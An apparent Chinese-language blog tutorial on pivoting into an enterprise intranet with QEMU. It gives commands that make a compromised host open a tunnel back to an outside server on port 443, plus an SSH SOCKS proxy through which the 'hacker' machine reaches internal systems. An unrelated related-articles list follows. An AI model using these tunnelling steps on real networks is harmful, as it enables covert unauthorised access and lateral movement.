實戰中使用 QEMU 進行內網穿透

前言

閱讀
https://xz.aliyun.com/t/14052 《使用 QEMU 進行內網穿透?》
https://securelist.com/network-tunneling-with-qemu/111803/ 《Network tunneling with… QEMU?》
我將此項技術應用到實戰中,取得不錯的效果,但是也遇到很多坑,此篇文章也是一篇排坑的文章

原文章

下面是原文章的拓撲圖
請添加圖片描述

坑一

原文章中,使用linux 服務器啟動qemu 服務端,并且在上面啟動監聽端口,但是在實際使用中,需要在云上或者vps上搭建服務器環境,云上提供的linux主機一般都沒有desk環境,所以qemu在啟動的時候會常常報 gtk initialization failed 雖然在啟動qemu時加上 --nographic 就可以正常啟動,但是linux 終端就會陷入全黑的狀態,連光標都消失了。

解決方法

在云上購買windows主機,我買的主機是 Windows Server 2019 數據中心版 64位 中文版
然后根據qemu 官方文檔(https://www.qemu.org/download/ ),需要下載和安裝 MSYS2 下載地址:https://github.com/msys2/msys2-installer/releases/download/2024-05-07/msys2-x86_64-20240507.exe

安裝好之后在UCRT64中執行下面的命令:

pacman -S mingw-w64-ucrt-x86_64-qemu

就安裝好qeme了,之后下載 kali-linux-2023.4-live-amd64.iso 放在 C:\msys64\home\Administrator 目錄下

坑二

原文章使用的拓撲中,服務器啟動的qemu只使用一張網卡,被控主機反連此網卡走的所有流量都是被控主機的流量,并且由于在云主機上啟動qemu,云主機上默認不開kvm,所以啟動的qemu不能使用 enable-kvm 加速虛擬機,所以導致啟動的虛擬機會特別卡頓,卡頓到無法流暢使用的地步。

解決方法

需要修改原文的拓撲
請添加圖片描述
上圖最關鍵的是在云主機里面的qemu里面設置雙網卡,并且這兩個網卡的mac地址要設置為不同的mac地址,不然就會出現mac地址沖突,造成只有一個網卡能正常使用的情況。要給qemu設置雙網卡,參考 https://blog.csdn.net/pawpaw77/article/details/130793008 。

  1. 首先要給windows 服務器安裝虛擬網卡 先下載tap-window6(https://github.com/OpenVPN/tap-windows6/releases/download/9.26.0/dist.win7.zip) 之后cmd進入AMD64目錄(64位系統),執行命令tapinstall install OemVista.inf tap0901,然后Win+R 運行 hdwwiz,添加網絡適配器。最后把新建的網卡命名為 tap0。最后給新創建的網卡設置ip地址為192.168.137.1 掩碼為255.255.255.0。https://blog.csdn.net/pawpaw77/article/details/130793008 這個文章中在后續需要創建網橋,本人經過多次實驗之后,發現完全不需要在windows主機上搭建網橋。
    在這里插入圖片描述

  2. 使用如下命令創建qemu虛擬機:

qemu-system-x86_64 -boot d -cdrom kali-linux-2023.4-live-amd64.iso -accel tcg -m 24576 -netdev tap,id=tapnet,ifname=tap0,script=no -device e1000,netdev=tapnet,mac=52:54:00:12:34:57 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 4 -netdev socket,id=n1,listen=:443   // 解決網卡是同mac地址問題 ok

創建好之后,進入qemu虛擬機后配置,

ifconfig eth0 192.168.137.2 netmask 255.255.255.0
  1. 在被控主機上執行如下指令就可以讓被控主機和云上的qemu服務器組成一個私有局域網,當被控主機qemu連接到云上的qemu服務器后qume服務器上另一張網卡上就會自動被分配一個ip地址。這樣云上的qemu虛擬機就可以無限制的訪問到企業內網:
apt update
apt-get install -y qemu-system
qemu-system-x86_64 -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=1.1.1.1:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

注意,這個命令只能在ubuntu上執行,我嘗試在centos上執行,失敗了,我在項目中沒有那么多時間去研究到底是怎么回事,未來有時間再繼續研究一下。
4. 在windows 使用 ssh -D 0.0.0.0:1080 root@192.168.137.2 搭建一條連接到qemu的socks5的代理通道,ssh 監聽到0.0.0.0 就可以讓hacker主機直接使用windows 主機作為跳板連接到企業內網
5. 黑客在自己的pc機器上做如下設置,就可以直接連接到企業內網了請添加圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/10589.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/10589.shtml
英文地址,請注明出處:http://en.pswp.cn/web/10589.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

機器學習算法應用——樸素貝葉斯分類器

樸素貝葉斯分類器 樸素貝葉斯分類器(Naive Bayes Classifier)是一種基于貝葉斯定理和特征條件獨立假設的分類方法。它適用于分類任務,特別是文本分類、垃圾郵件識別等領域。 原理 樸素貝葉斯分類器基于以下兩個主要假設: 特征條…

JS_ES6(1)

作用域鏈: 作用域鏈是底層變量查找的機制:當函數執行時,優先查找當前函數作用域中有無需要用到的變量,如果找不到,逐級查找父級,直到全局 > 嵌套關系形成作用域鏈,同一作用域鏈從小到大查找…

taro3兼容支付寶/微信小程序的自定義拖拽排序組件

描述:列表可以完成拖拽排序 此組件是根據支付寶原生文檔改編成taro-vue3的形式,只保留了拖拽的部分,其他功能都去除了,測試下來可以兼容支付寶和微信小程序。 支付寶原生文檔: https://opendocs.alipay.com/support/…

BGP(border gateway protocol)邊界網關協議初識篇

BGP它是一種路徑矢量協議,用于決定數據包在互聯網中的最佳路徑。 1、工作原理: 自治系統(AS)間路由: BGP主要用于連接不同自治系統之間的路由器,其中每個自治系統(AS)代表一組具有共同路由的網…

編譯 fdk-aac

文章目錄 關于 fdk-aac編譯 fdk-aac在 FFMpeg 編譯中啟用 關于 fdk-aac A standalone library of the Fraunhofer FDK AAC code from Android. github : https://github.com/mstorsjo/fdk-aac代碼托管 : https://sourceforge.net/projects/opencore-am…

最新巨量X-Bogus、_signature參數逆向分析與算法還原

文章目錄 1. 寫在前面2. 接口分析3. 斷點分析4. 扣代碼補環境5. 數據解密 【🏠作者主頁】:吳秋霖 【💼作者介紹】:擅長爬蟲與JS加密逆向分析!Python領域優質創作者、CSDN博客專家、阿里云博客專家、華為云享專家。一路…

# 從淺入深 學習 SpringCloud 微服務架構(十六)

從淺入深 學習 SpringCloud 微服務架構(十六) 一、SpringCloudStream:自定義消息通道 1、在子工程 stream_product (子模塊)中,創建 自定義的消息通道類 MyProcessor.java /*** spring_cloud_demo\stream_product…

JavaEE概述 + Maven

文章目錄 一、JavaEE 概述二、工具 --- Maven2.1 Maven功能 倉庫 坐標2.2 Maven之項目構建2.3 Maven之依賴管理 三、插件 --- Maven Helper 一、JavaEE 概述 Java SE、JavaEE: Java SE:指Java標準版,適用于各行各業,主要是Java…

【負載均衡式在線OJ項目day5】OJ服務模塊概要

前言 經過四天的努力已經完成了編譯運行這個大模塊,今天將要進入OJ服務模塊設計,該模塊的本質就是建立一個小型網站 一.功能 為用戶提供題目列表頁面為用戶提供網站首頁(用題目列表充當首頁)為用戶提供指定題目的編輯頁面為用戶提供提交代碼判題功能&a…

FFmpeg常用API與示例(二)—— 解封裝與轉封裝

封裝層 封裝格式(container format)可以看作是編碼流(音頻流、視頻流等)數據的一層外殼,將編碼后的數據存儲于此封裝格式的文件之內。 封裝又稱容器,容器的稱法更為形象,所謂容器,就是存放內容的器具,飲料是內容&…

【QT學習】補充:qt使用已經存在的類

1.右鍵項目--》添加現有文件 注意:不是添加新文件!!! 2.添加配置

掌握Android Fragment開發之魂:Fragment的深度解析(上)

Fragment是Android開發中用于構建動態和靈活界面的基石。它不僅提升了應用的模塊化程度,還增強了用戶界面的動態性和交互性,允許開發者將應用界面劃分為多個獨立、可重用的部分,每個部分都可以獨立于其他部分進行操作。本文將從以下幾個方面深…

信息系統項目管理師0102:可行性研究的內容(7項目立項管理—7.2項目可行性研究—7.2.1可行性研究的內容)

點擊查看專欄目錄 文章目錄 7.2項目可行性研究7.2.1可行性研究的內容1.技術可行性分析2.經濟可行性分析3.社會效益可行性分析4.運行環境可行性分析5.其他方面的可行性分析記憶要點總結7.2項目可行性研究 可行性研究是在項目建議書被批準后,從技術、經濟、社會和人員等方面的條…

OpenWrt項目UCI配置介紹

UCI(Unified Configuration Interface)是 OpenWrt 項目中使用的一種配置管理系統。它旨在為嵌入式設備提供一個統一且易于理解的配置接口。UCI 主要用于簡化 OpenWrt 系統的各種配置過程,使得管理網絡、服務和其他系統參數變得更加方便。 1 …

String的substring()方法導致的內存泄露問題

JDK 6的實現 String(int offset, int count, char value[]) {this.value value;this.offset offset;this.count count; }public String substring(int beginIndex, int endIndex) {//check boundaryreturn new String(offset beginIndex, endIndex - beginIndex, value);…

r語言數據分析案例-北京市氣溫預測分析與研究

一、選題背景 近年來,人類大量燃燒煤炭、天然氣等含碳燃料導致溫室氣 體過度排放,大量溫室氣體強烈吸收地面輻射中的紅外線,造 成溫室效應不斷累積,使得地球溫度上升,造成全球氣候變暖。 氣象溫度的預測一直以來都是…

[算法][差分][延遲相差][leetcode]2960. 統計已測試設備

題目地址: https://leetcode.cn/problems/count-tested-devices-after-test-operations/description/ 解法一:暴力解法 class Solution {public int countTestedDevices(int[] batteryPercentages) {//特殊條件判斷if(null batteryPercentages || ba…

JavaScript DOM 對元素進行的操作

DOM(Document Object Model)是一種用于訪問和操作HTML和XML文檔的編程接口。JavaScript通過DOM提供的方法和屬性可以對網頁的元素進行各種操作,比如修改元素的內容、樣式、屬性等。 下面是一些常見的對DOM元素的操作以及相應的代碼示例&…

@RequestMapping path正則規范

RequestMapping 注解是 Spring MVC 中用于映射 HTTP 請求的注解之一。它可以用于處理各種 HTTP 請求,包括 GET、POST、PUT、DELETE 等,并且可以指定請求的路徑、請求方法、請求參數等信息。 在使用 RequestMapping 注解時,可以使用正則表達式…

51單片機入門:串口通信

串行通信的初步認識 通信方式分類 1、按照數據傳送方式: 并行通信:通信時數據的各個位同時傳送,可以實現字節為單位的通信。 但是通信線多,占用資源多,成本高。 串行通信:一次只能發送一位&#xff0c…